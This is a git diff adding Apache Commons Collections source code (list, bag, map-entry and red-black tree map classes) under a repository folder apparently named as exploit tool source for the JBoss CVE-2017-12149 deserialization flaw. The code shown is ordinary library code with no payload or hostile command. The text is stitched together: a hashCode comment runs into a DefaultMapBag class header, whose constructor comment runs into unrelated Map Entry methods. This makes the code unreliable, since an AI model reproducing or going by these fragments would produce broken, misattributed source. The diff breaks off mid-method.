+ /**
+ * Inserts all of the elements in the specified collection into this
+ * list at the specified position. Shifts the element currently at
+ * that position (if any) and any subsequent elements to the right
+ * (increases their indices). The new elements will appear in this
+ * list in the order that they are returned by the specified
+ * {@link Collection}'s {@link Iterator}. The behavior of this operation is
+ * unspecified if the specified collection is modified while the
+ * operation is in progress. (Note that this will occur if the specified
+ * collection is this list, and it's nonempty.)
+ *
+ * @param index index at which to insert first element from the specified
+ * collection.
+ * @param c elements to be inserted into this list.
+ * @return true if this list changed as a result of the call.
+ *
+ * @throws ClassCastException if the class of one of elements of the
+ * specified collection prevents it from being added to this
+ * list.
+ * @throws IllegalArgumentException if some aspect of one of elements of
+ * the specified collection prevents it from being added to
+ * this list.
+ * @throws IndexOutOfBoundsException if the index is out of range (index
+ * < 0 || index > size()).
+ */
+ public boolean addAll(int index, Collection c) {
+ if(c.isEmpty()) {
+ return false;
+ } else if(_size == index || _size == 0) {
+ return addAll(c);
+ } else {
+ Listable succ = getListableAt(index);
+ Listable pred = (null == succ) ? null : succ.prev();
+ Iterator it = c.iterator();
+ while(it.hasNext()) {
+ pred = insertListable(pred,succ,it.next());
+ }
+ return true;
+ }
+ }
+
+ /**
+ * Inserts the specified element at the beginning of this list.
+ * (Equivalent to {@link #add(int,java.lang.Object) add(0,o)}).
+ *
+ * @param o element to be prepended to this list.
+ * @return true
+ */
+ public boolean addFirst(Object o) {
+ insertListable(null,_head.next(),o);
+ return true;
+ }
+
+ /**
+ * Inserts the specified element at the end of this list.
+ * (Equivalent to {@link #add(java.lang.Object)}).
+ *
+ * @param o element to be appended to this list.
+ * @return true
+ */
+ public boolean addLast(Object o) {
+ insertListable(_head.prev(),null,o);
+ return true;
+ }
+
+ /**
+ * Removes all of the elements from this list. This
+ * list will be empty after this call returns (unless
+ * it throws an exception).
+ */
+ public void clear() {
+ /*
+ // this is the quick way, but would force us
+ // to break all the cursors
+ _modCount++;
+ _head.setNext(null);
+ _head.setPrev(null);
+ _size = 0;
+ */
+ Iterator it = iterator();
+ while(it.hasNext()) {
+ it.next();
+ it.remove();
+ }
+ }
+
+ /**
+ * Returns true if this list contains the specified element.
+ * More formally, returns true if and only if this list contains
+ * at least one element e such that
+ * (o==null ? e==null : o.equals(e)).
+ *
+ * @param o element whose presence in this list is to be tested.
+ * @return true if this list contains the specified element.
+ */
+ public boolean contains(Object o) {
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if((null == o && null == elt.value()) ||
+ (o != null && o.equals(elt.value()))) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Returns true if this list contains all of the elements of the
+ * specified collection.
+ *
+ * @param c collection to be checked for containment in this list.
+ * @return true if this list contains all of the elements of the
+ * specified collection.
+ */
+ public boolean containsAll(Collection c) {
+ Iterator it = c.iterator();
+ while(it.hasNext()) {
+ if(!this.contains(it.next())) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Returns a {@link ListIterator} for iterating through the
+ * elements of this list. Unlike {@link #iterator}, a cursor
+ * is not bothered by concurrent modifications to the
+ * underlying list.
+ *
+ * Specifically, when elements are added to the list before or
+ * after the cursor, the cursor simply picks them up automatically.
+ * When the "current" (i.e., last returned by {@link ListIterator#next}
+ * or {@link ListIterator#previous}) element of the list is removed,
+ * the cursor automatically adjusts to the change (invalidating the
+ * last returned value--i.e., it cannot be removed).
+ *
+ * Note that the returned {@link ListIterator} does not support the
+ * {@link ListIterator#nextIndex} and {@link ListIterator#previousIndex}
+ * methods (they throw {@link UnsupportedOperationException} when invoked.
+ *
+ * Historical Note: In previous versions of this class, the object
+ * returned from this method was required to be explicitly closed. This
+ * is no longer necessary.
+ *
+ * @see #cursor(int)
+ * @see #listIterator
+ * @see CursorableLinkedList.Cursor
+ */
+ public CursorableLinkedList.Cursor cursor() {
+ return new Cursor(0);
+ }
+
+ /**
+ * Returns a {@link ListIterator} for iterating through the
+ * elements of this list, initialized such that
+ * {@link ListIterator#next} will return the element at
+ * the specified index (if any) and {@link ListIterator#previous}
+ * will return the element immediately preceding it (if any).
+ * Unlike {@link #iterator}, a cursor
+ * is not bothered by concurrent modifications to the
+ * underlying list.
+ *
+ * @see #cursor
+ * @see #listIterator(int)
+ * @see CursorableLinkedList.Cursor
+ * @throws IndexOutOfBoundsException if the index is out of range (index
+ * < 0 || index > size()).
+ */
+ public CursorableLinkedList.Cursor cursor(int i) {
+ return new Cursor(i);
+ }
+
+ /**
+ * Compares the specified object with this list for equality. Returns
+ * true if and only if the specified object is also a list, both
+ * lists have the same size, and all corresponding pairs of elements in
+ * the two lists are equal. (Two elements e1 and
+ * e2 are equal if (e1==null ? e2==null :
+ * e1.equals(e2)).) In other words, two lists are defined to be
+ * equal if they contain the same elements in the same order. This
+ * definition ensures that the equals method works properly across
+ * different implementations of the List interface.
+ *
+ * @param o the object to be compared for equality with this list.
+ * @return true if the specified object is equal to this list.
+ */
+ public boolean equals(Object o) {
+ if(o == this) {
+ return true;
+ } else if(!(o instanceof List)) {
+ return false;
+ }
+ Iterator it = ((List)o).listIterator();
+ for(Listable elt = _head.next(), past = null; null != elt && past != _head.prev(); elt = (past = elt).next()) {
+ if(!it.hasNext() || (null == elt.value() ? null != it.next() : !(elt.value().equals(it.next()))) ) {
+ return false;
+ }
+ }
+ return !it.hasNext();
+ }
+
+ /**
+ * Returns the element at the specified position in this list.
+ *
+ * @param index index of element to return.
+ * @return the element at the specified position in this list.
+ *
+ * @throws IndexOutOfBoundsException if the index is out of range (index
+ * < 0 || index >= size()).
+ */
+ public Object get(int index) {
+ return getListableAt(index).value();
+ }
+
+ /**
+ * Returns the element at the beginning of this list.
+ */
+ public Object getFirst() {
+ try {
+ return _head.next().value();
+ } catch(NullPointerException e) {
+ throw new NoSuchElementException();
+ }
+ }
+
+ /**
+ * Returns the element at the end of this list.
+ */
+ public Object getLast() {
+ try {
+ return _head.prev().value();
+ } catch(NullPointerException e) {
+ throw new NoSuchElementException();
+ }
+ }
+
+ /**
+ * Returns the hash code value for this list. The hash code of a list
+ * is defined to be the result of the following calculation:
+ *
+ * The map will be used to map bag elements to a number; the number represents
+ * the number of occurrences of that element in the bag.
+ *
+ * @deprecated Moved to bag subpackage as AbstractMapBag. Due to be removed in v4.0.
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.17 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Chuck Burdick
+ * @author Michael A. Smith
+ * @author Stephen Colebourne
+ * @author Janek Bogucki
+ */
+public abstract class DefaultMapBag implements Bag {
+ private Map _map = null;
+ private int _total = 0;
+ private int _mods = 0;
+
+ /**
+ * No-argument constructor.
+ * Subclasses should invoke
+ * This Map Entry is not connected to a Map, so only the local data is changed.
+ *
+ * @param key the new key
+ */
+ public void setKey(Object key) {
+ this.key = key;
+ }
+
+ /**
+ * Gets the value from the Map Entry.
+ *
+ * @return the value
+ */
+ public Object getValue() {
+ return value;
+ }
+
+ /**
+ * Sets the value stored in this Map Entry.
+ *
+ * This Map Entry is not connected to a Map, so only the local data is changed.
+ *
+ * @param value the new value
+ * @return the previous value
+ */
+ public Object setValue(Object value) {
+ Object answer = this.value;
+ this.value = value;
+ return answer;
+ }
+
+ // Basics
+ //-----------------------------------------------------------------------
+ /**
+ * Compares this Map Entry with another Map Entry.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
+ *
+ * @param obj the object to compare to
+ * @return true if equal key and value
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ return
+ (getKey() == null ? other.getKey() == null : getKey().equals(other.getKey())) &&
+ (getValue() == null ? other.getValue() == null : getValue().equals(other.getValue()));
+ }
+
+ /**
+ * Gets a hashCode compatible with the equals method.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
+ *
+ * @return a suitable hash code
+ */
+ public int hashCode() {
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (getValue() == null ? 0 : getValue().hashCode());
+ }
+
+ /**
+ * Written to match the output of the Map.Entry's used in
+ * a {@link java.util.HashMap}.
+ * @since 3.0
+ */
+ public String toString() {
+ return ""+getKey()+"="+getValue();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DoubleOrderedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DoubleOrderedMap.java"
new file mode 100644
index 0000000..37be56f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/DoubleOrderedMap.java"
@@ -0,0 +1,1994 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+/**
+ * Red-Black tree-based implementation of Map. This class guarantees
+ * that the map will be in both ascending key order and ascending
+ * value order, sorted according to the natural order for the key's
+ * and value's classes.
+ *
+ * This Map is intended for applications that need to be able to look
+ * up a key-value pairing by either key or value, and need to do so
+ * with equal efficiency.
+ *
+ * While that goal could be accomplished by taking a pair of TreeMaps
+ * and redirecting requests to the appropriate TreeMap (e.g.,
+ * containsKey would be directed to the TreeMap that maps values to
+ * keys, containsValue would be directed to the TreeMap that maps keys
+ * to values), there are problems with that implementation,
+ * particularly when trying to keep the two TreeMaps synchronized with
+ * each other. And if the data contained in the TreeMaps is large, the
+ * cost of redundant storage becomes significant. (See also the new
+ * {@link org.apache.commons.collections.bidimap.DualTreeBidiMap DualTreeBidiMap} and
+ * {@link org.apache.commons.collections.bidimap.DualHashBidiMap DualHashBidiMap}
+ * implementations.)
+ *
+ * This solution keeps the data properly synchronized and minimizes
+ * the data storage. The red-black algorithm is based on TreeMap's,
+ * but has been modified to simultaneously map a tree node by key and
+ * by value. This doubles the cost of put operations (but so does
+ * using two TreeMaps), and nearly doubles the cost of remove
+ * operations (there is a savings in that the lookup of the node to be
+ * removed only has to be performed once). And since only one node
+ * contains the key and value, storage is significantly less than that
+ * required by two TreeMaps.
+ *
+ * There are some limitations placed on data kept in this Map. The
+ * biggest one is this:
+ *
+ * When performing a put operation, neither the key nor the value may
+ * already exist in the Map. In the java.util Map implementations
+ * (HashMap, TreeMap), you can perform a put with an already mapped
+ * key, and neither cares about duplicate values at all ... but this
+ * implementation's put method with throw an IllegalArgumentException
+ * if either the key or the value is already in the Map.
+ *
+ * Obviously, that same restriction (and consequence of failing to
+ * heed that restriction) applies to the putAll method.
+ *
+ * The Map.Entry instances returned by the appropriate methods will
+ * not allow setValue() and will throw an
+ * UnsupportedOperationException on attempts to call that method.
+ *
+ * New methods are added to take advantage of the fact that values are
+ * kept sorted independently of their keys:
+ *
+ * Object getKeyForValue(Object value) is the opposite of get; it
+ * takes a value and returns its key, if any.
+ *
+ * Object removeValue(Object value) finds and removes the specified
+ * value and returns the now un-used key.
+ *
+ * Set entrySetByValue() returns the Map.Entry's in a Set whose
+ * iterator will iterate over the Map.Entry's in ascending order by
+ * their corresponding values.
+ *
+ * Set keySetByValue() returns the keys in a Set whose iterator will
+ * iterate over the keys in ascending order by their corresponding
+ * values.
+ *
+ * Collection valuesByValue() returns the values in a Collection whose
+ * iterator will iterate over the values in ascending order.
+ *
+ * @deprecated Replaced by TreeBidiMap in bidimap subpackage. Due to be removed in v4.0.
+ * @see BidiMap
+ * @see org.apache.commons.collections.bidimap.DualTreeBidiMap
+ * @see org.apache.commons.collections.bidimap.DualHashBidiMap
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.14 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Marc Johnson
+ */
+public final class DoubleOrderedMap extends AbstractMap {
+// final for performance
+
+ private static final int KEY = 0;
+ private static final int VALUE = 1;
+ private static final int SUM_OF_INDICES = KEY + VALUE;
+ private static final int FIRST_INDEX = 0;
+ private static final int NUMBER_OF_INDICES = 2;
+ private static final String[] dataName = new String[] { "key", "value" };
+
+ private Node[] rootNode = new Node[] { null, null };
+ private int nodeCount = 0;
+ private int modifications = 0;
+ private Set[] setOfKeys = new Set[] { null, null };
+ private Set[] setOfEntries = new Set[] { null, null };
+ private Collection[] collectionOfValues = new Collection[] { null, null };
+
+ /**
+ * Construct a new DoubleOrderedMap
+ */
+ public DoubleOrderedMap() {
+ }
+
+ /**
+ * Constructs a new DoubleOrderedMap from an existing Map, with keys and
+ * values sorted
+ *
+ * @param map the map whose mappings are to be placed in this map.
+ *
+ * @throws ClassCastException if the keys in the map are not
+ * Comparable, or are not mutually
+ * comparable; also if the values in
+ * the map are not Comparable, or
+ * are not mutually Comparable
+ * @throws NullPointerException if any key or value in the map
+ * is null
+ * @throws IllegalArgumentException if there are duplicate keys
+ * or duplicate values in the
+ * map
+ */
+ public DoubleOrderedMap(final Map map)
+ throws ClassCastException, NullPointerException,
+ IllegalArgumentException {
+ putAll(map);
+ }
+
+ /**
+ * Returns the key to which this map maps the specified value.
+ * Returns null if the map contains no mapping for this value.
+ *
+ * @param value value whose associated key is to be returned.
+ *
+ * @return the key to which this map maps the specified value, or
+ * null if the map contains no mapping for this value.
+ *
+ * @throws ClassCastException if the value is of an
+ * inappropriate type for this map.
+ * @throws NullPointerException if the value is null
+ */
+ public Object getKeyForValue(final Object value)
+ throws ClassCastException, NullPointerException {
+ return doGet((Comparable) value, VALUE);
+ }
+
+ /**
+ * Removes the mapping for this value from this map if present
+ *
+ * @param value value whose mapping is to be removed from the map.
+ *
+ * @return previous key associated with specified value, or null
+ * if there was no mapping for value.
+ */
+ public Object removeValue(final Object value) {
+ return doRemove((Comparable) value, VALUE);
+ }
+
+ /**
+ * Returns a set view of the mappings contained in this map. Each
+ * element in the returned set is a Map.Entry. The set is backed
+ * by the map, so changes to the map are reflected in the set, and
+ * vice-versa. If the map is modified while an iteration over the
+ * set is in progress, the results of the iteration are
+ * undefined. The set supports element removal, which removes the
+ * corresponding mapping from the map, via the Iterator.remove,
+ * Set.remove, removeAll, retainAll and clear operations. It does
+ * not support the add or addAll operations.
+ *
+ * The difference between this method and entrySet is that
+ * entrySet's iterator() method returns an iterator that iterates
+ * over the mappings in ascending order by key. This method's
+ * iterator method iterates over the mappings in ascending order
+ * by value.
+ *
+ * @return a set view of the mappings contained in this map.
+ */
+ public Set entrySetByValue() {
+
+ if (setOfEntries[VALUE] == null) {
+ setOfEntries[VALUE] = new AbstractSet() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(VALUE) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode;
+ }
+ };
+ }
+
+ public boolean contains(Object o) {
+
+ if (!(o instanceof Map.Entry)) {
+ return false;
+ }
+
+ Map.Entry entry = (Map.Entry) o;
+ Object key = entry.getKey();
+ Node node = lookup((Comparable) entry.getValue(),
+ VALUE);
+
+ return (node != null) && node.getData(KEY).equals(key);
+ }
+
+ public boolean remove(Object o) {
+
+ if (!(o instanceof Map.Entry)) {
+ return false;
+ }
+
+ Map.Entry entry = (Map.Entry) o;
+ Object key = entry.getKey();
+ Node node = lookup((Comparable) entry.getValue(),
+ VALUE);
+
+ if ((node != null) && node.getData(KEY).equals(key)) {
+ doRedBlackDelete(node);
+
+ return true;
+ }
+
+ return false;
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return setOfEntries[VALUE];
+ }
+
+ /**
+ * Returns a set view of the keys contained in this map. The set
+ * is backed by the map, so changes to the map are reflected in
+ * the set, and vice-versa. If the map is modified while an
+ * iteration over the set is in progress, the results of the
+ * iteration are undefined. The set supports element removal,
+ * which removes the corresponding mapping from the map, via the
+ * Iterator.remove, Set.remove, removeAll, retainAll, and clear
+ * operations. It does not support the add or addAll
+ * operations.
+ *
+ * The difference between this method and keySet is that keySet's
+ * iterator() method returns an iterator that iterates over the
+ * keys in ascending order by key. This method's iterator method
+ * iterates over the keys in ascending order by value.
+ *
+ * @return a set view of the keys contained in this map.
+ */
+ public Set keySetByValue() {
+
+ if (setOfKeys[VALUE] == null) {
+ setOfKeys[VALUE] = new AbstractSet() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(VALUE) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode.getData(KEY);
+ }
+ };
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public boolean contains(Object o) {
+ return containsKey(o);
+ }
+
+ public boolean remove(Object o) {
+
+ int oldnodeCount = nodeCount;
+
+ DoubleOrderedMap.this.remove(o);
+
+ return nodeCount != oldnodeCount;
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return setOfKeys[VALUE];
+ }
+
+ /**
+ * Returns a collection view of the values contained in this
+ * map. The collection is backed by the map, so changes to the map
+ * are reflected in the collection, and vice-versa. If the map is
+ * modified while an iteration over the collection is in progress,
+ * the results of the iteration are undefined. The collection
+ * supports element removal, which removes the corresponding
+ * mapping from the map, via the Iterator.remove,
+ * Collection.remove, removeAll, retainAll and clear operations.
+ * It does not support the add or addAll operations.
+ *
+ * The difference between this method and values is that values's
+ * iterator() method returns an iterator that iterates over the
+ * values in ascending order by key. This method's iterator method
+ * iterates over the values in ascending order by key.
+ *
+ * @return a collection view of the values contained in this map.
+ */
+ public Collection valuesByValue() {
+
+ if (collectionOfValues[VALUE] == null) {
+ collectionOfValues[VALUE] = new AbstractCollection() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(VALUE) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode.getData(VALUE);
+ }
+ };
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public boolean contains(Object o) {
+ return containsValue(o);
+ }
+
+ public boolean remove(Object o) {
+
+ int oldnodeCount = nodeCount;
+
+ removeValue(o);
+
+ return nodeCount != oldnodeCount;
+ }
+
+ public boolean removeAll(Collection c) {
+
+ boolean modified = false;
+ Iterator iter = c.iterator();
+
+ while (iter.hasNext()) {
+ if (removeValue(iter.next()) != null) {
+ modified = true;
+ }
+ }
+
+ return modified;
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return collectionOfValues[VALUE];
+ }
+
+ /**
+ * common remove logic (remove by key or remove by value)
+ *
+ * @param o the key, or value, that we're looking for
+ * @param index KEY or VALUE
+ *
+ * @return the key, if remove by value, or the value, if remove by
+ * key. null if the specified key or value could not be
+ * found
+ */
+ private Object doRemove(final Comparable o, final int index) {
+
+ Node node = lookup(o, index);
+ Object rval = null;
+
+ if (node != null) {
+ rval = node.getData(oppositeIndex(index));
+
+ doRedBlackDelete(node);
+ }
+
+ return rval;
+ }
+
+ /**
+ * common get logic, used to get by key or get by value
+ *
+ * @param o the key or value that we're looking for
+ * @param index KEY or VALUE
+ *
+ * @return the key (if the value was mapped) or the value (if the
+ * key was mapped); null if we couldn't find the specified
+ * object
+ */
+ private Object doGet(final Comparable o, final int index) {
+
+ checkNonNullComparable(o, index);
+
+ Node node = lookup(o, index);
+
+ return ((node == null)
+ ? null
+ : node.getData(oppositeIndex(index)));
+ }
+
+ /**
+ * Get the opposite index of the specified index
+ *
+ * @param index KEY or VALUE
+ *
+ * @return VALUE (if KEY was specified), else KEY
+ */
+ private int oppositeIndex(final int index) {
+
+ // old trick ... to find the opposite of a value, m or n,
+ // subtract the value from the sum of the two possible
+ // values. (m + n) - m = n; (m + n) - n = m
+ return SUM_OF_INDICES - index;
+ }
+
+ /**
+ * do the actual lookup of a piece of data
+ *
+ * @param data the key or value to be looked up
+ * @param index KEY or VALUE
+ *
+ * @return the desired Node, or null if there is no mapping of the
+ * specified data
+ */
+ private Node lookup(final Comparable data, final int index) {
+
+ Node rval = null;
+ Node node = rootNode[index];
+
+ while (node != null) {
+ int cmp = compare(data, node.getData(index));
+
+ if (cmp == 0) {
+ rval = node;
+
+ break;
+ } else {
+ node = (cmp < 0)
+ ? node.getLeft(index)
+ : node.getRight(index);
+ }
+ }
+
+ return rval;
+ }
+
+ /**
+ * Compare two objects
+ *
+ * @param o1 the first object
+ * @param o2 the second object
+ *
+ * @return negative value if o1 < o2; 0 if o1 == o2; positive
+ * value if o1 > o2
+ */
+ private static int compare(final Comparable o1, final Comparable o2) {
+ return o1.compareTo(o2);
+ }
+
+ /**
+ * find the least node from a given node. very useful for starting
+ * a sorting iterator ...
+ *
+ * @param node the node from which we will start searching
+ * @param index KEY or VALUE
+ *
+ * @return the smallest node, from the specified node, in the
+ * specified mapping
+ */
+ private static Node leastNode(final Node node, final int index) {
+
+ Node rval = node;
+
+ if (rval != null) {
+ while (rval.getLeft(index) != null) {
+ rval = rval.getLeft(index);
+ }
+ }
+
+ return rval;
+ }
+
+ /**
+ * get the next larger node from the specified node
+ *
+ * @param node the node to be searched from
+ * @param index KEY or VALUE
+ *
+ * @return the specified node
+ */
+ private Node nextGreater(final Node node, final int index) {
+
+ Node rval = null;
+
+ if (node == null) {
+ rval = null;
+ } else if (node.getRight(index) != null) {
+
+ // everything to the node's right is larger. The least of
+ // the right node's descendants is the next larger node
+ rval = leastNode(node.getRight(index), index);
+ } else {
+
+ // traverse up our ancestry until we find an ancestor that
+ // is null or one whose left child is our ancestor. If we
+ // find a null, then this node IS the largest node in the
+ // tree, and there is no greater node. Otherwise, we are
+ // the largest node in the subtree on that ancestor's left
+ // ... and that ancestor is the next greatest node
+ Node parent = node.getParent(index);
+ Node child = node;
+
+ while ((parent != null) && (child == parent.getRight(index))) {
+ child = parent;
+ parent = parent.getParent(index);
+ }
+
+ rval = parent;
+ }
+
+ return rval;
+ }
+
+ /**
+ * copy the color from one node to another, dealing with the fact
+ * that one or both nodes may, in fact, be null
+ *
+ * @param from the node whose color we're copying; may be null
+ * @param to the node whose color we're changing; may be null
+ * @param index KEY or VALUE
+ */
+ private static void copyColor(final Node from, final Node to,
+ final int index) {
+
+ if (to != null) {
+ if (from == null) {
+
+ // by default, make it black
+ to.setBlack(index);
+ } else {
+ to.copyColor(from, index);
+ }
+ }
+ }
+
+ /**
+ * is the specified node red? if the node does not exist, no, it's
+ * black, thank you
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static boolean isRed(final Node node, final int index) {
+
+ return ((node == null)
+ ? false
+ : node.isRed(index));
+ }
+
+ /**
+ * is the specified black red? if the node does not exist, sure,
+ * it's black, thank you
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static boolean isBlack(final Node node, final int index) {
+
+ return ((node == null)
+ ? true
+ : node.isBlack(index));
+ }
+
+ /**
+ * force a node (if it exists) red
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static void makeRed(final Node node, final int index) {
+
+ if (node != null) {
+ node.setRed(index);
+ }
+ }
+
+ /**
+ * force a node (if it exists) black
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static void makeBlack(final Node node, final int index) {
+
+ if (node != null) {
+ node.setBlack(index);
+ }
+ }
+
+ /**
+ * get a node's grandparent. mind you, the node, its parent, or
+ * its grandparent may not exist. no problem
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static Node getGrandParent(final Node node, final int index) {
+ return getParent(getParent(node, index), index);
+ }
+
+ /**
+ * get a node's parent. mind you, the node, or its parent, may not
+ * exist. no problem
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static Node getParent(final Node node, final int index) {
+
+ return ((node == null)
+ ? null
+ : node.getParent(index));
+ }
+
+ /**
+ * get a node's right child. mind you, the node may not exist. no
+ * problem
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static Node getRightChild(final Node node, final int index) {
+
+ return (node == null)
+ ? null
+ : node.getRight(index);
+ }
+
+ /**
+ * get a node's left child. mind you, the node may not exist. no
+ * problem
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static Node getLeftChild(final Node node, final int index) {
+
+ return (node == null)
+ ? null
+ : node.getLeft(index);
+ }
+
+ /**
+ * is this node its parent's left child? mind you, the node, or
+ * its parent, may not exist. no problem. if the node doesn't
+ * exist ... it's its non-existent parent's left child. If the
+ * node does exist but has no parent ... no, we're not the
+ * non-existent parent's left child. Otherwise (both the specified
+ * node AND its parent exist), check.
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static boolean isLeftChild(final Node node, final int index) {
+
+ return (node == null)
+ ? true
+ : ((node.getParent(index) == null)
+ ? false
+ : (node == node.getParent(index).getLeft(index)));
+ }
+
+ /**
+ * is this node its parent's right child? mind you, the node, or
+ * its parent, may not exist. no problem. if the node doesn't
+ * exist ... it's its non-existent parent's right child. If the
+ * node does exist but has no parent ... no, we're not the
+ * non-existent parent's right child. Otherwise (both the
+ * specified node AND its parent exist), check.
+ *
+ * @param node the node (may be null) in question
+ * @param index KEY or VALUE
+ */
+ private static boolean isRightChild(final Node node, final int index) {
+
+ return (node == null)
+ ? true
+ : ((node.getParent(index) == null)
+ ? false
+ : (node == node.getParent(index).getRight(index)));
+ }
+
+ /**
+ * do a rotate left. standard fare in the world of balanced trees
+ *
+ * @param node the node to be rotated
+ * @param index KEY or VALUE
+ */
+ private void rotateLeft(final Node node, final int index) {
+
+ Node rightChild = node.getRight(index);
+
+ node.setRight(rightChild.getLeft(index), index);
+
+ if (rightChild.getLeft(index) != null) {
+ rightChild.getLeft(index).setParent(node, index);
+ }
+
+ rightChild.setParent(node.getParent(index), index);
+
+ if (node.getParent(index) == null) {
+
+ // node was the root ... now its right child is the root
+ rootNode[index] = rightChild;
+ } else if (node.getParent(index).getLeft(index) == node) {
+ node.getParent(index).setLeft(rightChild, index);
+ } else {
+ node.getParent(index).setRight(rightChild, index);
+ }
+
+ rightChild.setLeft(node, index);
+ node.setParent(rightChild, index);
+ }
+
+ /**
+ * do a rotate right. standard fare in the world of balanced trees
+ *
+ * @param node the node to be rotated
+ * @param index KEY or VALUE
+ */
+ private void rotateRight(final Node node, final int index) {
+
+ Node leftChild = node.getLeft(index);
+
+ node.setLeft(leftChild.getRight(index), index);
+
+ if (leftChild.getRight(index) != null) {
+ leftChild.getRight(index).setParent(node, index);
+ }
+
+ leftChild.setParent(node.getParent(index), index);
+
+ if (node.getParent(index) == null) {
+
+ // node was the root ... now its left child is the root
+ rootNode[index] = leftChild;
+ } else if (node.getParent(index).getRight(index) == node) {
+ node.getParent(index).setRight(leftChild, index);
+ } else {
+ node.getParent(index).setLeft(leftChild, index);
+ }
+
+ leftChild.setRight(node, index);
+ node.setParent(leftChild, index);
+ }
+
+ /**
+ * complicated red-black insert stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more
+ *
+ * @param insertedNode the node to be inserted
+ * @param index KEY or VALUE
+ */
+ private void doRedBlackInsert(final Node insertedNode, final int index) {
+
+ Node currentNode = insertedNode;
+
+ makeRed(currentNode, index);
+
+ while ((currentNode != null) && (currentNode != rootNode[index])
+ && (isRed(currentNode.getParent(index), index))) {
+ if (isLeftChild(getParent(currentNode, index), index)) {
+ Node y = getRightChild(getGrandParent(currentNode, index),
+ index);
+
+ if (isRed(y, index)) {
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(y, index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ currentNode = getGrandParent(currentNode, index);
+ } else {
+ if (isRightChild(currentNode, index)) {
+ currentNode = getParent(currentNode, index);
+
+ rotateLeft(currentNode, index);
+ }
+
+ makeBlack(getParent(currentNode, index), index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ if (getGrandParent(currentNode, index) != null) {
+ rotateRight(getGrandParent(currentNode, index),
+ index);
+ }
+ }
+ } else {
+
+ // just like clause above, except swap left for right
+ Node y = getLeftChild(getGrandParent(currentNode, index),
+ index);
+
+ if (isRed(y, index)) {
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(y, index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ currentNode = getGrandParent(currentNode, index);
+ } else {
+ if (isLeftChild(currentNode, index)) {
+ currentNode = getParent(currentNode, index);
+
+ rotateRight(currentNode, index);
+ }
+
+ makeBlack(getParent(currentNode, index), index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ if (getGrandParent(currentNode, index) != null) {
+ rotateLeft(getGrandParent(currentNode, index), index);
+ }
+ }
+ }
+ }
+
+ makeBlack(rootNode[index], index);
+ }
+
+ /**
+ * complicated red-black delete stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more
+ *
+ * @param deletedNode the node to be deleted
+ */
+ private void doRedBlackDelete(final Node deletedNode) {
+
